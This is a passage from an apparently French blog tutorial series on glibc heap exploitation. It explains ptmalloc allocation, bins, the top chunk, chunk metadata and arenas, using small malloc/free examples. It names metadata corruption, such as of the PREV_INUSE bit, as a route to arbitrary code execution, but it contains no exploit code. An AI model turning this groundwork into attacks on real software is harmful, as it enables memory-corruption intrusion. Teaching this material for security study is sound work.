pourrait croire que cela est trop compliqué. D’où la nécessité de faire de temps en temps des pauses.La structure du tasEncore une fois, le tas dont nous parlons ici n’a rien à voir avec la structure de données du même nom. Le tas est implémenté de manière à optimiser l’allocation dynamique de mémoire. Cela signifie qu’il doit être rapide mais également limiter la consommation de mémoire.Prenons le chemin inverse : essayons de comprendre le fonctionnement du tas à partir des problématiques dont il doit tenir compte. C’est vrai que le tas est hyper compliqué à comprendre 😰 ?En fait, le tas en soi n’implique pas des notions hyper pointues que seuls les initiés peuvent comprendre. Par contre, il faut avouer que le fonctionnement du tas est plus complexe que le fonctionnement de la pile car la structure du tas implique plusieurs mécanismes : système de bins (poubelles/corbeilles/bac 🥖) permettant d’optimiser les allocations ; des structures de données comme les listes chaînées et doublement chaînées ; des métadonnées qui stockent les informations d’un bloc de mémoire alloué.Toutes ces notions, prises une à une, ne sont pas complexes. Ce qui est important est de prendre le temps de faire le lien entre elles et de comprendre comment elles fonctionnent ensemble.Ainsi, ce n’est qu’en étudiant plusieurs fois le fonctionnement de la heap et de pratiquer que cela finit par se graver dans la mémoire 😉. Je vous propose donc d’y aller crescendo : nous allons faire abstraction de divers mécanismes au début, puis nous les évoquerons au fur et à mesure que nous avançons.TerminologieAvant d’aller plus loin, précisons certains termes essentiels qui seront utilisés tout au long de ce chapitre. Nous expliciterons les autres termes petit à petit : 🇫🇷 🇬🇧 Description tas heap Zone mémoire où sont réalisées les allocations dynamiques bloc chunk bloc de mémoire allouée par malloc pour une taille donnée. Le tas est constitué de plusieurs blocs. libérer free Action de libérer un bloc précédemment alloué. malloc considère alors que l’adresse du bloc ne pointe plus vers de la mémoire allouée. corbeille bin Système de recyclage qui contient une liste de pointeurs vers des blocs libérés. Son intérêt est de pouvoir réutiliser, lors d’une allocation, des blocs qui ont été récemment libérés. ⤵️ L’allocation : mallocTous les mécanismes implémentés dans la heap tournent autour de deux principales actions : l’allocation de mémoire ; la libération de mémoire.Intéressons-nous dans un premier temps à l’allocation.L’allocateur de mémoireLorsque nous évoquons le fonctionnement du tas, nous devrions plutôt parler du fonctionnement de l’allocateur de mémoire utilisé par malloc. Bien que la fonction malloc fasse partie du standard C, le standard ne spécifie pas la manière d’implémenter l’allocateur sous-jacent. Ce dernier dépend de la bibliothèque standard C utilisée et peut varier d’un système à un autre.De ce fait, un programme C utilisant malloc pourra être compilé sous Linux et Windows et malloc remplira la même fonction : elle prend en paramètre une taille et retourne un pointeur vers une zone mémoire ayant au moins la taille spécifiée. Toutefois, libre à Linux et Windows de gérer les optimisations et la sécurité de l’allocation de mémoire.Voici quelques allocateurs connus : Allocateur Utilisé par ptmalloc Linux dlmalloc ptmalloc est basé sur dlmalloc jemalloc FreeBSD tcmalloc Google PartitionAlloc Chromium libumem Solaris mimalloc Microsoft En ce qui nous concerne, nous nous focaliserons sur ptmalloc qui est utilisé dans la glibc. Par la suite, lorsque l’on évoquera malloc en tant qu’allocateur, cela signifiera automatiquement que nous parlons de l’allocateur ptmalloc.Déroulement de l’allocationLe rôle de malloc, et des fonctions du même type, est d’allouer de la mémoire (merci Sherlock 🕵️‍♂️). Voici le paramètre et le retour de cette fonction : paramètre : une taille n en octets ; retour : un pointeur vers un bloc.Tout d’abord, malloc n’alloue pas exactement n octets. Deux principaux facteurs sont à prendre en compte : la taille minimale d’un bloc qu’il est possible d’allouer ; les contraintes d’alignement.Voici un résumé de ces facteurs en 32 et 64 bits :   32 bits 64 bits Taille minimale d’un bloc 0x10 octets 0x20 octets Contrainte d’alignement La taille d’un bloc doit toujours être un multiple de 0x10 octets La taille d’un bloc doit toujours être un multiple de 0x10 octets Par exemple, malloc(1) dans un programme 32 bits retourne un pointeur vers un bloc de 0x10 octets. Dans d’anciennes versions de la glibc, telle que la 2.5, la contrainte d’alignement est de 8 octets. Que se passe-t-il si on exécute malloc(0xf) en 32 bits ?La logique voudrait qu’un bloc de 0x10 octets soit alloué, car suffisant. Néanmoins, la taille du bloc alloué sera de 0x20. En effet, lorsque malloc retourne un bloc de taille n, seuls n-4 octets (ou n-8 en 64 bits) sont utilisables. Or 0x10 - 4 == 0xc et comme 0xf &gt; 0xc, un bloc de taille totale 0x10 ne sera pas suffisant pour contenir 0xf octets.Les 4 (ou 8) octets inutilisables (par l’utilisateur) d’un bloc sont utilisés par l’allocateur pour stocker des métadonnées. Pour l’instant, gardons juste en tête que des métadonnées sont présentes dans les blocs, nous nous y pencherons bien en détails un peu plus tard. Pour savoir quelle est la taille réellement demandée à malloc, il suffit d’ajouter 4 (ou 8 en 64 bits) à la taille n initialement demandée. Ensuite, en faisant attention à la taille minimale et à la contrainte d’alignement de 0x10 octets, vous pouvez en déduire la taille exacte du bloc retourné par malloc.Voyons ce qui se passe dans le tas lorsque ces différentes allocations sont réalisées (en 32 bits) :#include &lt;stdlib.h&gt; int main() { \tmalloc(1);\tmalloc(0x10);\tmalloc(0x1f);\tmalloc(0xc);\t\treturn 0; } Initialement le tas est vide ; malloc(1) : pour utiliser 1 + 4 = 5 octets en mémoire, les 0x10 minimum pour un bloc suffisent. malloc retourne 0x50000000 ; malloc(0x10) : pour utiliser 0x10 + 4 = 0x14 octets, un bloc de 0x10 ne suffit pas ; un bloc de 0x20 est alors utilisé. malloc retourne 0x50000010 ; malloc(0x1f) : pour utiliser 0x1f + 4 = 0x23 octets, un bloc de 0x30 octets suffit. malloc retourne 0x50000030 ; malloc(0xc) : pour utiliser 0xc + 4 = 0x10 octets, un bloc de 0x10 suffit. malloc retourne 0x50000060.Nous remarquons plusieurs choses : contrairement à la pile, le tas se remplit de haut en bas, des adresses basses vers les adresses hautes ; les blocs sont alignés de manière contiguë en mémoire. Cela n’est pas toujours le cas dans la réalité.⤴️ La libération : freeAprès avoir vu comment l’allocation de mémoire est grosso modo réalisée, il est temps de voir comment les blocs sont libérés. Autant l’allocation est simple à comprendre, voire triviale, autant la libération, c’est une autre histoire 😅.Prenons, à titre d’exemple, un programme de ce type :#include &lt;stdlib.h&gt; int main() { for(unsigned long long i =0; i &lt; 1000000000; i++) { void *falestine = malloc(1); free(falestine); } return 0; }Théoriquement, ce programme alloue un milliard de fois 1 octet, tout en libérant sa mémoire. Dans le cas d’un allocateur naïf et non optimisé, on pourrait supposer qu’à chaque allocation, une zone mémoire différente est allouée. Ce qui signifie que pour exécuter la boucle dans son entièreté, il faudrait que le programme dispose d’au moins 16 Go (un milliard de blocs de 0x10 octets).Or en pratique, il suffit moins de 0x10 octets car le bloc qui a été alloué, puis libéré sera réutilisé lors du prochain appel à malloc car c’est toujours la même taille qui est allouée. Autant le recycler ♻️.🗑️ Le système de binsCe que vous ne savez pas, c’est que malloc, il est très écolo ; s’il peut réutiliser un bloc qui a été précédemment libéré afin d’éviter d’allouer un nouveau bloc de mémoire, il le fera !Afin d’optimiser les allocations dynamiques, il existe un système de bins (corbeilles) permettant de garder dans un coin, les différents blocs qui ont été libérés. De cette manière, si un bloc de taille n doit être retourné par malloc et qu’un bloc libéré de taille n est disponible, alors ce dernier est retourné et aucune nouvelle zone mémoire n’est allouée.Encore une fois, en début de chapitre, nous étudions ces différents aspects de manière “macro”, sans rentrer dans les détails ni les spécificités de chaque mécanisme. Il vaut mieux comprendre ces différents principes de manière globale avant de sombrer, euh plonger 😅, dans les abysses de la heap.Reprenons le précédent exemple et libérons certains blocs :#include &lt;stdlib.h&gt; int main() { \tvoid *a = malloc(1);\tvoid *b = malloc(0x10);\tvoid *c = malloc(0x1f);\tvoid *d = malloc(1); // Ajoutons un bloc de 16 octets\tvoid *e = malloc(0xc);\t// Ce qui nous intéresse est ce qui se passe ci-dessous\tfree(a);\tfree(c);\tfree(d);\t\treturn 0; } Comment voir dans gdb ce qui se passe dans le tas avec ce programme ?Pour l’instant, je vous déconseille de jeter un œil à ce qui se passe réellement dans gdb, vous risquez de ne pas y comprendre grand-chose. Promis, nous verrons ensemble comment naviguer dans la heap lorsque l’on débogue dans gdb 😇.Pour l’instant, concentrons-nous sur le fonctionnement global de malloc. Voici l’état du tas lorsque ce programme sera exécuté : état initial avec malloc(1) en plus par rapport au précédent exemple ; free(a) (ou free(0x50000000)) : le premier bloc est libéré et est mis dans la bin n°1, celle qui gère les blocs libres de 0x10 octets ; free(c) (ou free(0x50000030)) : le troisième bloc est libéré. Cette fois-ci il n’est pas placé dans la bin n°1 mais dans la bin n°3, celle qui gère les blocs de 0x30 octets. Idem ici, c’est l’adresse du bloc qui est insérée ; free(d) (ou free(0x50000060)) : le quatrième bloc est libéré. Comme il est de taille 0x10, il est ajouté à la bin n°1.Quelques remarques : contrairement à ce que l’on pourrait croire, le bloc n’est pas copié du tas vers la bin ; c’est l’adresse du bloc libéré qui y est insérée ; il existe plusieurs bins et chacune gère une taille de bloc donnée. En réalité, le système de corbeilles est un peu plus complexe que cela car il en existe plusieurs types dont certaines qui ne sont pas restreintes à une seule taille en particulier ; le contenu d’un bloc libéré n’est déplacé nulle part, il reste là où il était. Dans les faits, les premiers octets peuvent être écrasés lors de l’appel à free pour indiquer où se situe la corbeille idoine. Nous reviendrons sur ce mécanisme lorsque nous entamerons la gestion des métadonnées dans le tas. Pourquoi les blocs c(0x50000030) et d(0x50000060) n’ont pas été fusionnés pour former un bloc libre, plus gros, de 0x40 octets ?La fusion de blocs libres dans le tas est désignée par consolidation. La consolidation de deux blocs libres n’est pas toujours réalisée. Pour simplifier, malloc considère que : pour de petits blocs : il n’y a pas besoin de les consolider, il est plus intéressant de les mettre dans une bin ; pour des blocs plus larges : il est intéressant de les consolider lorsque certaines conditions sont respectées. En réalité, sous certaines conditions, il est possible que de petits blocs soient consolidés entre eux. Nous en reparlerons lorsque l’on s’intéressera aux fastbins.🏔️ Le top chunk (ou bloc du sommet 🥖)En parlant de consolidation, il est temps d’introduire un bloc assez particulier, le top chunk. Paradoxalement, le bloc du sommet n’est pas présent en haut du tas mais plutôt en bas si nous reprenons la convention d’affichage du tas avec les adresses basses en haut et les adresses hautes en bas. C’est donc bien le bloc du sommet, mais à l’envers 🙃.Le bloc du sommet est en quelque sorte un bloc toujours libre sans pour autant être présent dans une bin en particulier. Il s’agit d’un bloc initialement présent dans la heap et qui sera toujours présent dans le tas, au cours de l’exécution du programme, en étant toujours le dernier bloc du tas, en partant du haut.Ce bloc a une taille fixe au démarrage du programme, par exemple 0x1000, et à chaque fois qu’une allocation dynamique est réalisée, malloc va réduire la taille du top chunk afin d’allouer un bloc suffisamment large pour contenir n octets spécifiés en paramètre à malloc.Pour vous donner une image, le bloc du sommet c’est un peu comme un gros morceau de cachir que l’on découpe rondelle par rondelle. Et on fait comment quand y en a plus ? 🤤Eh bien on en rachète ! Ainsi, lorsque qu’il ne reste plus assez d’espace dans le top chunk, sa taille est augmentée afin de satisfaire de prochaines allocations.L’allocation avec le bloc du sommetReprenons les précédentes allocations en tenant compte, cette fois-ci, de la présence du bloc du sommet :\tvoid *a = malloc(1);\tvoid *b = malloc(0x10);\tvoid *c = malloc(0x1f);\tvoid *d = malloc(1); \tvoid *e = malloc(0xc);Cela donne : initialement, seul le top chunk est présent ; lorsque le premier bloc de 0x10 octets est alloué, ce sont en réalité 16 octets qui sont séparés du bloc du sommet 🟢 ; ainsi de suite, pour chaque bloc alloué, sa taille en octets est retirée du bloc du sommet. Comme nous avons alloué au total 0x80 octets, la taille du bloc du sommet en est diminuée tout autant.La libération avec le bloc du sommetComprendre comment fonctionne l’allocation avec le bloc du sommet, c’est facile. Qu’en est-il avec la libération de blocs ? Le fonctionnement est presque le même. En effet, la différence va être le fait qu’un bloc libéré peut être consolidé, ou non. Le choix concernant la consolidation va principalement dépendre de la taille du bloc.Prenons tout d’abord l’exemple d’un petit bloc libéré : état initial ; free(0x50000070) : le dernier bloc alloué est libéré. Comme il s’agit d’un bloc de petite taille, il n’est pas consolidé (fusionné) avec le top chunk.Que se serait-il passé si un bloc de grande taille avait été libéré ? état initial : dans cet exemple, le dernier bloc, avant le bloc du sommet, est de plus grande taille ; free(0x50000010 : lorsque le gros bloc est libéré, il est consolidé avec le bloc du sommet.Ainsi, voici comment se résume la libération de blocs contigus au bloc du sommet : bloc de petite taille : le bloc libéré est placé dans la corbeille idoine ; bloc de grande taille : le bloc libéré est consolidé avec le bloc du sommet. D’accord, mais comment on sait si un bloc est de petite ou grande taille ? Quelle est la limite entre les deux ?Cela dépend essentiellement de deux choses : la version de la glibc : la gestion des corbeilles évolue au fil du temps. De plus, certaines versions introduisent de nouvelles bins comme la 2.26 qui introduit le tcache, une bin dont on aura le temps de parler de détails lors des prochains chapitres ; l’architecture (x86 ou x86_64).Voici comment la dichotomie entre de petit et gros bloc est réalisée : en 32 bits :   glibc &lt; 2.26 glibc ≥ 2.26 Petit bloc ≤ 0x40 ≤ 0x400 Grand bloc &gt; 0x40 &gt; 0x400 en 64 bits :   glibc &lt; 2.26 glibc ≥ 2.26 Petit bloc ≤ 0x80 ≤ 0x410 Grand bloc &gt; 0x80 &gt; 0x410 Ces valeurs ne sont pas totalement exactes. Toutefois, elles permettent d’avoir une idée de l’ordre de grandeur de ce que l’on considère comme un petit bloc / gros bloc. A la fin des chapitres liés au tas nous aurons l’occasion de bien détailler ce qui est considérer comme petit / gros bloc.📋 SynthèseDans ce chapitre, nous avons introduit les bases du tas et son rôle dans l’allocation dynamique de mémoire.Le tas repose sur deux actions principales : l’allocation via malloc : taille ajustée (alignement + taille minimale) ; présence de métadonnées dans les blocs ; utilisation d’un allocateur (comme ptmalloc) ; la libération via free : les blocs sont placés dans des corbeilles pour être réutilisés ; cela évite de nouvelles allocations coûteuses. Nous avons également vu : les bins (corbeilles) : recyclent les blocs libres selon leur taille ; la consolidation : fusionne certains blocs libres ; le top chunk (bloc du sommet) : réserve de mémoire utilisée en dernier recours.Le tas repose sur plusieurs mécanismes simples, mais leur interaction rend son fonctionnement plus complexe. Les prochains chapitres détailleront ces mécanismes." }, { "title": "Partie 2 - Théorie de la heap - structures internes et métadonnées", "url": "/posts/exploitation_de_la_heap_partie_2/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-07 08:00:00 -0200", "snippet": "Théorie de la heap : structures internes et métadonnéesLors du précédent chapitre, nous avons introduit les principaux mécanismes liés au tas à savoir : l’allocation ; la libération ; le fonctio...", "content": "Théorie de la heap : structures internes et métadonnéesLors du précédent chapitre, nous avons introduit les principaux mécanismes liés au tas à savoir : l’allocation ; la libération ; le fonctionnement du top chunk ; la présence de corbeilles.Avant d’aller plus loin, il est nécessaire de nous focaliser sur les métadonnées des blocs. En effet, les métadonnées sont cruciales pour diverses raisons : les métadonnées contiennent des informations sur un bloc : sa taille, son statut (utilisé/libre) etc. ; lorsqu’un bloc est libéré, les métadonnées permettent de lier les blocs appartenant à une même corbeille les uns aux autres en utilisant notamment des pointeurs ; la majorité des techniques d’exploitation dans le tas reposent sur l’exploitation des métadonnées.Les métadonnées : prev_size et sizeIntéressons-nous aux deux premiers champs des métadonnées, à savoir : prev_size et size.En 64 bitsDécouvrons ensemble le fonctionnement des métadonnées. Prenons le cas d’un programme 64 bits qui ne fait qu’une allocation :void *a = malloc(1);Cette fois-ci, zoomons davantage sur le tas afin de voir comment est réellement structuré le bloc que nous venons d’allouer :Le bloc alloué est ce qui est entouré en rouge 🔴. Le bloc du sommet n’est pas représenté ici par souci de clarté mais il est bien présent dans le tas. Mais ce n’est pas un bloc, il a une forme totalement bizarre 🙄.En effet ce n’est pas un bloc rectangulaire. Il est nécessaire de redoubler d’attention ici afin de comprendre comment sont imbriqués les différents blocs ensemble.Décortiquons ce bloc : En gris (nom du champ : prev_size) : nous verrons à quoi ce champ sert lorsqu’il y aura plusieurs blocs dans le tas. Pour l’instant, comme il n’y a aucun bloc qui précède celui-ci, le champ gris est constitué d’octets nuls : 0x0000000000000000. En jaune 🟡 (nom du champ : size): ce champ fait partie des métadonnées du bloc. Il contient la taille du bloc mais aussi d’autres informations. Il s’agit d’un OU logique de la taille du bloc avec 3 autres informations : Size : qui est la taille du bloc alloué ici 0x20 ( et non 0x28 car le champ en gris n’est pas comptabilisé). Egalement, ne confondez pas la taille du bloc (délimitée en rouge) avec la taille des données utilisables (en bleu) qui est de 0x18 octets. A (ou NON_MAIN_ARENA): 3ème bit de poids faible qui vaut 1 si le bloc n’appartient pas à l’arène principale, 0 sinon. Nous verrons au prochain chapitre ce que sont les arènes. Considérez pour l’instant que dans un programme ayant un seul fil d’exécution, ce bit vaut toujours 0. Ici ce bit vaut donc 0. M (ou IS_MMAPPED) : 2ème bit de poids faible qui vaut 1 si le bloc a été alloué par mmap, 0 sinon. Ici ce bit vaut donc 0. P (ou PREV_INUSE): 1er bit de poids faible qui vaut 0 si le champ prev_size est utilisé, 1 sinon. Oui je sais, cela paraît paradoxal car le nom de ce bit est PREV_INUSE et non PREV_NOT_INUSE, ce qui prête à confusion 😅. Pour l’instant nous n’avons pas vraiment besoin de savoir à quoi il sert. Ici ce bit vaut 1. La valeur de ce champ est ici : 0x20 | b'000' | b'00' | b'1' == 0x21 En bleu 🔵 : ce sont les données réellement utilisées et utilisables par l’utilisateur. D’ailleurs, dans cet exemple, le pointeur a pointe vers 0x500000000010 car malloc(1) retourne un pointeur vers 0x500000000010 et non pas 0x500000000000 étant donné que la gestion des métadonnées est totalement opaque du point de vue de l’utilisateur. La taille totale des données utilisables est ici de 0x18. Vous comprenez désormais pourquoi malloc(0x19) alloue un bloc de 0x30 octets plutôt que de 0x20 ; cela permet de ne pas empiéter sur les métadonnées 🟡 du prochain bloc.J’imagine déjà vos têtes 😵‍💫🥴🫨 à ce stade 😆. Si vous êtes perturbés par cette manière de structurer un bloc, c’est normal, elle ne ressemble pas forcément à ce que l’on aurait pu s’imaginer. Ce qui est compliqué avec le tas est qu’il y a beaucoup de notions, de mécanismes et de mots clés qu’il n’est pas possible d’assimiler en une fois. Vous reviendrez sûrement plus tard relire ces chapitres avec une nouvelle manière de percevoir les choses. C’est en faisant plusieurs challenges d’exploitation de heap que vous allez marquer au fer rouge ces différentes notions. Néanmoins, nous avons besoin des bases avant d’entamer la partie pratique qui arrivera dans quelques chapitres.Poursuivons notre lancée et voyons ce que donne l’exécution de ce bout de code où le premier bloc est libéré :void *A = malloc(1);void *B = malloc(1);free(A);Cela peut se résumer ainsi : état initial : les deux allocations de 0x20 octets ont été réalisées ; free(0x500000000010) : lorsque le premier bloc est libéré, il va dans la corbeille adéquate (non représentée ici). Cela n’a pas changé les métadonnées du champ mchunk_size 🟡 du bloc libéré, ni du bloc suivant. En effet, comme il s’agit d’un petit bloc libéré, il n’est pas sujet à consolidation. Le champ prev_size du bloc A est donc inutilisé. Il en est de même pour le bit P (PREV_INUSE) du bloc B qui reste égal à 1 étant donné que le champ prev_size du précédent bloc n’est pas utilisé. Vous remarquerez que l’adresse donnée en paramètre à free() n’est pas l’adresse du bloc mais l’adresse des données du bloc. Ce qui est logique car void *A pointe vers 0x500000000010, donc free(A) revient à appeler free(0x500000000010). Dans le précédent chapitre, nous n’avions pas parlé de ce détail car nous avions ignoré les métadonnées. Désormais, il faudra prendre en compte cette différence pour ne pas être perturbé par la suite.Que se serait-il passé si le bloc libéré était un bloc de grande taille ? Modifions la taille du premier bloc libéré :void *A = malloc(0x700);void *B = malloc(1);free(A);Cela donne ceci : état initial : les deux allocations sont effectuées. Nous remarquons qu’un bloc de 0x710 octets a été alloué alors que l’on a utilisé malloc(0x700). Rappelez-vous, la taille réellement demandée est de 0x700 + 8 en prenant en compte le champ mchunk_size 🟡 du prochain bloc alloué. Ensuite, 0x708 est aligné sur 0x10 octets, ce qui donne la taille finale du bloc : 0x710 ; free(0x500000000010) : le premier bloc est libéré et mis dans sa corbeille correspondante (non représentée ici). Étant donné qu’il s’agit d’un bloc de grande taille pouvant être consolidé avec d’autres blocs, le champ prev_size est saisi. Cela implique que le bit P du bloc suivant (bloc B) soit mis à 0. Il aurait quelle tête le bloc du sommet si on l’affichait avec ses métadonnées ?En affichant le bloc du sommet, cela donne :Après tout, le bloc du sommet est un bloc comme les autres ? La taille du top chunk est ici de 0x1000 octets, cela ne reflète pas la réalité. La taille du bloc du sommet est généralement de l’ordre de 0x21000 octets. Euh là je comprends plus trop 😵‍💫. prev_size fait partie des métadonnées à la fin du bloc A ou au début du bloc B ?Officiellement, le champ prev_size appartient aux métadonnées du bloc B, et non à celles du bloc A. Dans les schémas précédents, nous avons délibérément choisi de ne pas inclure prev_size dans l’encadré rouge du bloc suivant. Cela vise à éviter toute confusion et à souligner que ce champ est exploité par le bloc précédent tant que celui-ci reste en cours d’utilisation.En effet, ce champ n’a de sens pour un bloc donné que si le précédent bloc est libéré et qu’il a une taille lui permettant d’être consolidé. Voici comment est structuré un bloc dans la libc :struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize;}; Pour l’instant nous avons seulement vu les deux premiers membres, à savoir mchunk_prev_size (ou prev_size pour les intimes) et mchunk_size. Nous verrons les 4 autres dans le prochain chapitre consacré aux différentes corbeilles. Par souci de concision, prev_size désignera mchunk_prev_size et size désignera mchunk_size lorsque l’on parlera de métadonnées.Comme vous pouvez le constater, le champ mchunk_prev_size est considéré comme le premier membre des métadonnées d’un bloc (chunk). Ainsi, si vous lisez, dans le code source de la libc, une expression du type chunk-&gt;mchunk_prev_size, il s’agit du premier champ (les 8 premiers octets) du bloc chunk.Pour résumer, voici les deux métadonnées que nous avons vues lors de ce chapitre : mchunk_prev_size : lorsque le bloc précédant le bloc courant est libéré et qu’il a une taille permettant la consolidation, la taille du précédent bloc est insérée dans ce champ. Cela permet de savoir qu’en partant d’un bloc B et en revenant de mchunk_prev_size octets en arrière, on tombe sur le bloc libre A ; mchunk_size : OU logique de 4 éléments : La taille du bloc (en prenant en compte les métadonnées, sauf prev_size) A (NON_MAIN_ARENA): 0 si le bloc fait partie de l’arène principale 1 sinon M (IS_MMAPPED) : 1 si le bloc a été alloué par mmap 0 sinon P (PREV_INUSE): 0 si le précédent bloc est libre et que sa taille lui permet d’être consolidé (grande taille) 1 sinon Pour ce qui est des bits NON_MAIN_ARENA et IS_MMAPPED, ils seront généralement nuls dans des challenges de pwn ayant un seul fil d’exécution. En revanche, PREV_INUSE est très important en pwn car en le modifiant il est possible de totalement chambouler le tas et réussir, in fine, une exécution de code arbitraire 😊. D’autant plus que l’on pourrait penser que ce bit est toujours nul dans le cas où le précédent bloc est libre alors qu’il y a des conditions supplémentaires.En 32 bits En 32 bits ça marche comment 🤔 ?Pour les exemples utilisés dans ce chapitre, le principe est le même. Les deux principales différences sont : la taille minimale d’un bloc qu’il est possible d’allouer est de 0x10 (au lieu de 0x20) ; la taille des champs constituant les métadonnées est sur 4 octets (au lieu de 8).📋 SynthèseNous avons exploré les métadonnées des blocs dans la heap et leur importance pour l’allocation, la libération et l’exploitation dans le tas : prev_size : contient la taille du bloc précédent (uniquement si ce dernier est libre et consolidable) ; permet de remonter au bloc précédent pour des opérations de consolidation. size : contient la taille du bloc et d’autres informations sur le bloc via un OU logiqueCes métadonnées sont essentielles pour le fonctionnement du tas, mais également pour plusieurs techniques d’exploitation dont nous traiterons ultérieurement." }, { "title": "Partie 3 - Organisation de la heap - les corbeilles", "url": "/posts/exploitation_de_la_heap_partie_3/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-06 08:00:00 -0200", "snippet": "Organisation de la heap : les bins (ou corbeilles)Nous avons précédemment vu le fonctionnement de deux champs des métadonnées : prev_size et size. Il reste encore 4 champs à explorer : fd et bk ; ...", "content": "Organisation de la heap : les bins (ou corbeilles)Nous avons précédemment vu le fonctionnement de deux champs des métadonnées : prev_size et size. Il reste encore 4 champs à explorer : fd et bk ; fd_nextsize et bk_nextsize (uniquement utilisés dans les très gros blocs).Afin de mieux comprendre à quoi servent ces champs, je vous propose de voir leur utilisation au sein des différentes bins (ou corbeilles) histoire de ne pas les aborder seulement en surface.Fonctionnement des différentes binsNous avons précédemment vu que les blocs libérés allaient dans des corbeilles pour des raisons d’optimisation. Néanmoins, nous ne sommes pas allés dans les détails du fonctionnement de ces différentes corbeilles : combien y en a-t-il ? quelles sont les différences entre elles ? comment sont liés les blocs libérés dans une corbeille ? comment est choisi le bloc à réutiliser parmi la liste de blocs d’une même corbeille ?Tâchons de fournir des éléments de réponse à ces questions. Vous aurez une réponse complète lorsque l’on aura introduit, au fur et à mesure que l’on avance, tous les détails liés au tas.La liste des types de corbeilles auxquelles nous allons nous intéresser est la suivante : tcache (thread cache) ; fastbin ; unsorted bin ; small bin ; large bin.Voici un résumé très succinct des différentes corbeilles : Nom Ordre de réutilisation des blocs Type de liste Consolidation possible ? Utilisation Tcache LIFO Liste chaînée Non Petits et moyens blocs Fastbins LIFO Liste chaînée Non (sauf dans certains cas) Petits blocs Unsorted Bin FIFO Liste doublement chaînée circulaire - non triée Oui Stockage temporaire de moyens et grands blocs Small Bins FIFO Liste doublement chaînée circulaire Oui Petits et moyen blocs Large Bins LIFO Liste doublement chaînée circulaire - triée Oui Blocs de très grande, grande et moyenne taille Les corbeilles sont listées ci-dessus avec un ordre bien précis. C’est généralement dans cet ordre que vous les trouverez listées dans gdb et c’est aussi dans cet ordre qu’elles sont généralement utilisées. Ainsi, si un bloc libéré a une taille lui permettant d’aller à la fois dans une fastbin et le tcache, il ira en priorité dans le tcache. Idem pour les trois autres corbeilles, si un bloc libéré a une taille lui permettant d’aller dans l’unsorted bin, une small bin (ou large bin s’il est de très grande taille) il ira d’abord dans l’unsorted bin.Le résumé ci-dessus est très sommaire. Un résumé bien plus détaillé nous attend à la fin des différents chapitres consacrés au tas 👀.Les arènesAvant d’entrer dans les détails de chaque corbeille, intéressons-nous d’abord au système d’arène (ou arena 🇬🇧). Nous en avions brièvement parlé lors du précédent chapitre lorsque nous avons parlé du bit NON_MAIN_ARENA. En reprenant l’analogie des corbeilles et du recyclage, l’arène est en quelque sorte une déchetterie intelligente.SourceL’arène répertorie les différentes corbeilles ainsi que diverses informations, comme : l’adresse mémoire où est située chaque corbeille ; la taille maximum d’un bloc pouvant aller dans une corbeille en particulier.L’arène dispose d’autres informations liées au tas comme l’adresse du bloc du sommet ainsi que l’adresse de la prochaine arène. En effet, il est possible d’utiliser plusieurs arènes dans les programmes utilisant plusieurs fils d’exécution afin de ne pas bloquer une seule et même arène à chaque fois qu’un fil d’exécution doit faire une allocation dynamique sur le tas.Il existe toujours au moins une arène, celle qui est initialement créée lorsque le programme est lancé, il s’agit de l’arène principale (ou main arena 🇬🇧). En général, les challenges de heap en pwn n’utilisent qu’un seul fil d’exécution. De ce fait, dans la majorité des cas vous n’aurez à prendre en compte qu’une seule arène : l’arène principale.En somme, l’arène permet une gestion globale et d’avoir une vue synthétique sur l’état du tas et des corbeilles. Si vous êtes amenés à lire un peu de code source provenant de la glibc, il est possible vous que trouviez la présence d’un paramètre av de type malloc_state comme ici. Il s’agit tout simplement d’un pointeur vers l’arène du bloc courant. Je précise ce point car cette information n’est pas facile à trouver.📋 SynthèseComprendre le fonctionnement des différentes corbeilles est crucial dans le domaine du pwn dans le tas. Il existe plusieurs types de corbeilles, chacune ayant ses spécificités en termes de tailles, de gestion des blocs etc.Nous avons évoqué le système des arènes. Pour l’instant il n’est pas nécessaire de comprendre comment cela fonctionne en détail. Il suffit de garder en tête que c’est la principale entité utilisée pour la gestion globale de tous les types de corbeilles.Lors des prochains chapitres, nous analyserons les différents types de corbeilles et nous nous intéresserons principalement à : leur fonctionnement ; le nombre et la taille des blocs gérés ; les protections implémentées ; les métadonnées d’un bloc libre de chaque type de corbeille.Dans chacun de ces chapitres, nous irons de plus en plus dans les détails. À un certain stade, si vous n’arrivez plus à suivre ou que certaines notions vous semblent abstraites, n’hésitez pas à passer à un autre chapitre et y revenir le jour où vous aurez besoin de plus de détails concernant un type de corbeilles en particulier. C’est vraiment important que vous compreniez que les prochains chapitres, concernant les différents types de corbeilles, ne sont pas à lire de manière mécanique et linéaire. Il y a beaucoup trop d’informations pour que l’on puisse les retenir en une fois. Une bonne méthodologie serait de les survoler, les lire en diagonale et de les relire de plus en plus en profondeur jusqu’à ce que les diverses informations soient gravées dans le marbre. Si vous souhaitez tout de même les lire un à un de manière linéaire, je vous souhaite bon courage 😆 !" }, { "title": "Partie 4 - Le tcache - fonctionnement et objectifs (1/4)", "url": "/posts/exploitation_de_la_heap_partie_4/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-05 08:00:00 -0200", "snippet": "Le tcache : fonctionnement et objectifs (1/4)Le tcache est un type de corbeille qui a été introduit dans la version 2.26 (2017). Autant vous dire que dans les programmes récents, le tcache est omni...", "content": "Le tcache : fonctionnement et objectifs (1/4)Le tcache est un type de corbeille qui a été introduit dans la version 2.26 (2017). Autant vous dire que dans les programmes récents, le tcache est omniprésent. Nous allons entamer une série de chapitres consacrée aux différents types de corbeilles présents dans la glibc. Nous tâcherons de faire en sorte que ces chapitres suivent la structure suivante : 1️⃣ Gestion des blocs libres2️⃣ Organisation des corbeilles3️⃣ Structure et métadonnées d’un bloc4️⃣ Protections selon les versions5️⃣ Exploitation des vulnérabilités liées au type de corbeille étudié Les chapitres peuvent parfois être structurés dans un ordre différent. Par exemple, dans ce chapitre, nous nous intéresserons aux protections avant les métadonnées.Son utilitéAvant que le tcache ne soit introduit, il n’y avait pas de corbeille propre à chaque thread. Ainsi, dans un programme utilisant plusieurs fils d’exécution, il fallait à chaque fois contrôler les accès aux corbeilles par chaque fil 